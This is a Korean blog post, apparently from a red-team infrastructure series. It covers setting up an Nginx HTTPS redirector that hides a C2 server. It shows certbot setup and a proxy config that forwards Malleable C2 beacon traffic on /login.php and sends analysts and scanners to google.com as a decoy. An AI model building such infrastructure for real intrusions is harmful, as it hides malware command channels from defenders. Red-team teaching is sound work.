hhkb
레드팀

레드팀인프라구축_03_리다이렉터 서버 설정

작성자 : Heehyeon Yoo|2025-12-23
# RedTeam# Infrastructure# Redirector# Nginx# HTTPS

1. 개요

리다이렉터(Redirector)의 핵심 목적은 C2 서버의 은폐이다.
피해 시스템의 악성코드(Beacon)는 C2 서버의 실제 IP를 알지 못하며, 오직 리다이렉터의 도메인(cchealthwv.com 등)과 통신한다. 리다이렉터는 정상적인 HTTPS 웹 서버로 위장하여 보안 장비의 의심을 피하고, 유효한 C2 트래픽만을 선별하여 백엔드의 C2 서버로 전달한다.

2. Nginx 및 Certbot 설치

AWS Redirector 인스턴스(Ubuntu)에 접속하여 웹 서버와 인증서 발급 도구를 설치한다.

sudo apt update
sudo apt install -y nginx certbot python3-certbot-nginx

3. HTTPS 인증서 발급(Let's Encrypt)

공격자가 확보한 도메인에 대해 신뢰할 수 있는 SSL 인증서를 발급받는다. 이는 트래픽을 암호화하여 IDS/IPS가 페일로드 내용을 검사하지 못하게 만든다.

# 도메인 환경변수 설정
DOMAIN="[구입한_도메인]"
EMAIL="admin@[구입한_도메인]"

# 인증서 발급(Nginx 플러그인 사용)
sudo certbot --nginx -d www.$DOMAIN -d $DOMAIN --non-interactive --agree-tos -m $EMAIL

4. Reverse Proxy 설정(Traffic Forwarding)

Nginx 설정 파일(/etc/nginx/sites-available/default)을 수정하여 리버스 프록시 규칙을 정의한다.
이 설정은 추후 구축할 C2 프로파일(Malleable C2)과 정확히 일치해야 한다.

4.1 설정 예시

  • C2 트래픽 식별: 특정 URL 경로(URI) 및 User-Agent 문자열을 검사한다.
  • Proxy Pass: 식별된 C2 트래픽을 C2 서버의 IP(Private IP 권장)로 전달한다.
  • Redirect: 식별되지 않은 트래픽(분석가, 스캐너, 블루팀)은 google.com 등 정상 사이트로 리다이렉트한다.
server {
    listen 443 ssl;
    server_name [구입한_도메인];

    # SSL 설정(Certbot이 자동 생성한 라인 유지)
    ...

    # 1. C2 트래픽 처리(Malleable C2 프로파일과 일치하는 경로)
    location /login.php {
        # C2 서버로 트래픽 전달
        proxy_pass https://[C2_Server_Private_IP]:443;
        
        # 헤더 전달 설정
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_ssl_verify off; # C2 서버가 사설 인증서일 경우 검증 무시
    }

    # 2. 그 외 모든 트래픽은 정상 사이트로 리다이렉트(Decoy)
    location / {
        return 301 https://www.google.com;
    }
}

5. 작동 원리 검증

  1. 정상 접속 시도: 브라우저로 https://[도메인] 접속 시 구글로 리다이렉트 되는지 확인.(일반 사용자/분석가 시점)
  2. C2 접속 시도: curl 등을 이용해 특정 경로(https://[도메인]/login.php)와 User-Agent를 맞춰서 요청했을 때 C2 서버의 응답이 오는지 확인.(추후 C2 구축 후 검증 가능)